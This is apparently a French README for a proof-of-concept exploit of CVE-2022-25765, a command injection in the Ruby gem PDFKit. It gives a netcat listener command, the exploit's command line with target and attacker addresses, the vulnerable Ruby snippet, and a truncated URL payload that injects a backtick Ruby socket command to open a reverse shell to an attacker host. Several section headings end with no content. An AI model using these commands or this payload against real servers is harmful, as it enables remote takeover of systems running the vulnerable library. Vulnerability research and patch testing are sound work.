
Exploit PoC Python pour CVE-2022-25765, une injection de commandes critique dans PDFKit. Génère un shell inverse via des paramètres d'URL non assainis transmis à wkhtmltopdf. Inclut des instructions d'utilisation et une analyse technique de la vulnérabilité.
Un petit exploit POC pour CVE-2022-25765, PDFkit-CMD-Injection
Démarrez un écouteur netcat sur votre machine d'attaque :
nc -lvnp 4444
Exécutez l'exploit :
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Exemple :
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Paramètres :
-t, --target : URL cible exécutant PDFKit vulnérable-l, --lhost : Votre adresse IP pour la connexion du shell inversé-p, --lport : Votre port pour la connexion du shell inversé (doit correspondre à votre écouteur netcat)ID CVE : CVE-2022-25765 Score CVSS v3.1 : 9.8 (Critique) Score EPSS : 71,381% (99e percentile) CWE : CWE-77 - Neutralisation incorrecte des éléments spéciaux utilisés dans une commande
PDFKit est une gemme Ruby qui convertit du HTML en PDF à l'aide de l'outil en ligne de commande wkhtmltopdf. La vulnérabilité réside dans la façon dont PDFKit gère les paramètres d'URL avant de les transmettre aux commandes système du shell pour la génération de PDF.
La vulnérabilité se trouve dans lib/pdfkit/source.rb où la désinfection d'URL est mal implémentée :
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Le problème :
Vecteur d'attaque :
Ce PoC exploite la vulnérabilité en :
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'Sur le système cible :